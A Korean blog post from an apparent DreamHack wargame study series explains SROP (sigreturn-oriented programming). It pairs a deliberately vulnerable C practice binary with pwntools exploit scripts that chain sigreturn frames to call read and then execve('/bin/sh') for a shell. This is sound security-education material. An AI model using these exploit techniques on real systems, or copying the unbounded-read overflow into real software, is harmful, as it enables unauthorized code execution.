SROP ์‹ค์Šต ์˜ˆ์ œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค

// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie
#include <unistd.h>
int gadget() {
  asm("pop %rax;"
      "syscall;"
      "ret" );
}
int main()
{
  char buf[16];
  read(0, buf ,1024);
}

 

๋ณดํ˜ธ ๊ธฐ๋ฒ•๐Ÿ›ก๏ธ

checksec๋ฅผ ์‚ฌ์šฉํ•ด ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ํ™•์ธํ•ด๋ณด์ž

 

 

์ฝ”๋“œ ๋ถ„์„ ๐Ÿ”Ž

int main()
{
  char buf[16];
  read(0, buf ,1024);
}

์˜ˆ์ œ์—์„  16๋ฐ”์ดํŠธ ๋ฒ„ํผ์— 1024๋ฐ”์ดํŠธ๋ฅผ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

๋”ฐ๋ผ์„œ gadgetํ•จ์ˆ˜์˜ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ด์„œ sigreturn ์‹œ์Šคํ…œ ์ฝœ์„ ํ˜ธ์ถœํ•˜์—ฌ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

์ต์Šคํ”Œ๋กœ์ž‡ ์„ค๊ณ„

  1. sigreturn ํ˜ธ์ถœ

SROP๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” sigreturn ์‹œ์Šคํ…œ ์ฝœ์„ ํ˜ธ์ถœํ•ด์•ผํ•œ๋‹ค.

์˜ˆ์ œ์˜ gadget ํ•จ์ˆ˜ ๋‚ด๋ถ€์˜ ์ฝ”๋“œ ๊ฐ€์ ฏ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๊ณ , ์‹œ์Šคํ…œ ์ฝœ ๋ฒˆํ˜ธ์™€ syscall ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด sigreturn์„ ํ˜ธ์ถœํ•˜๋ฉด ๋œ๋‹ค.

 

  2. execve ํ˜ธ์ถœ

sigreturn์€ ์Šคํƒ ์˜์—ญ์˜ ๊ฐ’์„ ๋ ˆ์ง€์Šคํ„ฐ๋กœ ๋ณต์‚ฌํ•œ๋‹ค.

๋”ฐ๋ผ์„œ 1024 ๋ฐ”์ดํŠธ๋ฅผ ์ž…๋ ฅํ•  ๋•Œ sigcontext ๊ตฌ์กฐ์ฒด๋ฅผ ์ƒ๊ฐํ•˜๊ณ , execve ์‹œ์Šคํ…œ ์ฝœ์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•œ ์ธ์ž๋ฅผ ๋ชจ๋‘ ์„ค์ •ํ•˜๋ฉด ๋œ๋‹ค.

 

 

 

sigreturn ํ˜ธ์ถœ

pwntools์—์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚ด์— ํŠน์ • ์ฝ”๋“œ๋ฅผ ๊ฒ€์ƒ‰ํ•˜๊ณ , ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•œ๋‹ค.

์ด๋ฅผ ํ†ตํ•ด์„œ ๊ฐ€์ ฏ์˜ ์ฝ”๋“œ๋ฅผ ์•Œ์•„๋‚ด๊ณ , RAX ๋ ˆ์ง€์Šคํ„ฐ์˜ ๊ฐ’์„ sigreturn ์‹œ์Šคํ…œ ์ฝœ์ธ 15๋กœ ์กฐ์ž‘ํ•œ๋‹ค.

 

# Name: srop.py
from pwn import *

context.arch = "x86_64"

p = process("./srop")
elf = ELF("./srop")

gadget = next(elf.search(asm("pop rax; syscall")))
print(gadget)

payload = "A"*16
payload += "B"*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += "\x00"*40 # dummy
payload += p64(0x4141414141414141)*20

p.sendline(payload)
p.interactive()

๋‹ค์Œ์˜ ์ฝ”๋“œ๋Š” ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ํ†ตํ•ด RIP๋ฅผ pop rax; syscall; ret ๊ฐ€์ ฏ์˜ ์ฃผ์†Œ๋กœ ์กฐ์ž‘ํ•˜๊ณ , RAX ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ 15๋กœ ์กฐ์ž‘ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ์ด๋‹ค.

 

๋””๋ฒ„๊น…์„ ํ•˜๊ธฐ ์ „์— ๋‹ค์Œ ์‚ฌ์ดํŠธ๋ฅผ ์ฐธ๊ณ ํ–ˆ๋‹ค.

https://snwo.tistory.com/133

์—ฌ๊ธฐ์„œ ์ข€ ํ—ค๋งธ์—ˆ๋Š”๋ฐ, ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰์„ ํ•œ ๋‹ค์Œ ์ด๋กœ๋ถ€ํ„ฐ ์–ป์€ PID๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ํ„ฐ๋ฏธ๋„ ์ฐฝ์—์„œ attach ํ•ด์ฃผ๋ฉด ๋œ๋‹ค.

sudo gdb attach -p [PID] -q

 

๋””๋ฒ„๊น…์ด ๋œ ๋‹ค์Œ main ํ•จ์ˆ˜๋ฅผ ๋””์Šค์–ด์…ˆ๋ธ” ํ•ด์ฃผ์—ˆ๋‹ค.

์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด main+25์—์„œ readํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์—ฌ๊ธฐ์— bp๋ฅผ ๊ฑธ์–ด์ฃผ๋ฉด ๋œ๋‹ค.

 

continue๋ฅผ ํ•ด์ค€ ํ™”๋ฉด์—์„œ๋„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, i r ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ํ™•์ธํ•œ ๊ฒฐ๊ณผ sigreturn ์‹œ์Šคํ…œ ์ฝœ์ด ํ˜ธ์ถœ๋˜์–ด ๋ ˆ์ง€์Šคํ„ฐ๊ฐ€ "A"๋กœ ๋ฎ์–ด์“ฐ์—ฌ์ง„ ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

 

 

execve ํ˜ธ์ถœ

execve ์‹œ์Šคํ…œ ์ฝœ์„ ํ˜ธ์ถœํ•˜๊ธฐ ์ „์—, sigcontext ๊ตฌ์กฐ์ฒด์— ์ •์˜๋œ ๋ ˆ์ง€์Šคํ„ฐ์˜ ์ˆœ์„œ๋ฅผ ๊ณ ๋ คํ•ด์„œ ์Šคํƒ์— ๊ฐ’์„ ์จ๋„ฃ์–ด์•ผ ํ•œ๋‹ค.

๋งค๋ฒˆ ๊ตฌ์กฐ์ฒด๋ฅผ ํ™•์ธํ•˜๋ฉฐ ์Šคํƒ์— ๊ฐ’์„ ์‚ฝ์ž…ํ•˜๋Š” ๊ฒƒ์ด ํž˜๋“ค๊ธฐ ๋•Œ๋ฌธ์— pwntools์—์„œ๋Š” SROP ๊ณต๊ฒฉ์„ ์ˆ˜์›”ํ•˜๊ฒŒ ํ•˜๊ฒŒ๋” SigreturnFrame ํด๋ž˜์Šค๋ฅผ ์ œ๊ณตํ•œ๋‹ค.

 

๋‹ค์Œ์€ ํŒŒ์ด์ฌ ์ธํ„ฐํ”„๋ฆฌํ„ฐ์—์„œ ํ•ด๋‹น ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•œ ์˜ˆ์ œ์ด๋‹ค.

์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด, ์กฐ์ž‘ํ•  ๋ ˆ์ง€์Šคํ„ฐ์— ๊ฐ’์„ ์‚ฝ์ž…ํ•˜๋ฉด ์Šค์Šค๋กœ ๊ตฌ์กฐ์ฒด์— ๋งž๋Š” ์ž…๋ ฅ๊ฐ’์„ ์ƒ์„ฑํ•œ๋‹ค.

ํ•ด๋‹น ๊ธฐ๋Šฅ์„ ํ†ตํ•ด ์ต์Šคํ”Œ๋กœ์ž‡ ์ž‘์„ฑ ์‹œ๊ฐ„๊ณผ ๋…ธ๋ ฅ์„ ์ค„์ผ ์ˆ˜ ์žˆ๋‹ค.

 

 

 

execve ํ˜ธ์ถœ

SigreturnFrame์„ ์‚ฌ์šฉํ•ด์„œ execve ์‹œ์Šคํ…œ ์ฝœ์„ ํ˜ธ์ถœํ•˜๋Š” ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ณด์ž.

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด์ง€ ์•Š๊ณ , ๋ฐ”์ด๋„ˆ๋ฆฌ ์˜์—ญ์— "/bin/sh" ๋ฌธ์ž์—ด์„ ์ž‘์„ฑํ•œ ๋’ค, execve ์‹œ์Šคํ…œ ์ฝœ์„ ํ˜ธ์ถœํ•  ๋•Œ ํ•ด๋‹น ๋ฌธ์ž์—ด์˜ ์ฃผ์†Œ๋ฅผ ์ธ์ž๋กœ ๋„˜๊ฒจ์ฃผ๋ฉด ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์˜ˆ์ œ ์ฝ”๋“œ์—์„œ๋Š” read ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด์„œ ํ•œ ๋ฒˆ๋ฐ–์— ์ž…๋ ฅ์„ ๋ฐ›์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์—, readํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ๋ฐ”์ด๋„ˆ๋ฆฌ ์ฃผ์†Œ์— "/bin/sh"๋ฌธ์ž์—ด์„ ์ž‘์„ฑํ•œ๋‹ค. ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

	# Name: srop.py
from pwn import *

context.arch = "x86_64"

p = process("./srop")
elf = ELF("./srop")

gadget = next(elf.search(asm("pop rax; syscall")))
syscall = next(elf.search(asm("syscall")))
read_got = elf.got['read']
_start = elf.symbols['_start']
binsh = "/bin/sh\x00"
bss = elf.bss()
frame = SigreturnFrame()

# read(0, bss, 0x1000)
frame.rax = 0        # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss

payload = b"A"*16
payload += b"B"*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += bytes(frame)
p.sendline(payload)

# execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500 
frame2.rdi = bss + 0x108

rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b"/bin/sh\x00"

p.sendline(rop)
p.interactive()

๋จผ์ € SROP๋ฅผ ํ†ตํ•ด read ์‹œ์Šคํ…œ ์ฝœ์„ ํ˜ธ์ถœํ•˜์—ฌ bss ์˜์—ญ์— 0x1000๋ฐ”์ดํŠธ๋งŒํผ ์ž…๋ ฅ๋ฐ›๊ณ , RSP ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ž…๋ ฅํ•œ bss ์˜์—ญ์˜ ์ฃผ์†Œ๋กœ ๋ฐ”๊ฟ” ๋‹ค์‹œ ํ•œ ๋ฒˆ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ–ˆ๋‹ค.

SROP ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•˜๋ฉด execve ์‹œ์Šคํ…œ ์ฝœ์„ ํ˜ธ์ถœํ•˜๊ณ , ๋’ค์—์„œ ์ž…๋ ฅํ•œ "/bin/sh" ๋ฌธ์ž์—ด์˜ ์ฃผ์†Œ๋ฅผ ์ธ์ž๋กœ ์ „๋‹ฌํ•œ๋‹ค.

 

์ต์Šคํ”Œ๋กœ์ž‡ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

 

'DreamHack > SystemHacking' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack System Hacking] _IO_FILE  (0) 2022.11.18
[Dreamhack System Hacking] send_sig  (0) 2022.11.14
[Dreamhack System Hacking] SROP  (0) 2022.11.14
[DreamHack System Hacking] rtld  (0) 2022.09.22
[DreamHack System Hacking] __eviron  (0) 2022.09.21
๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค!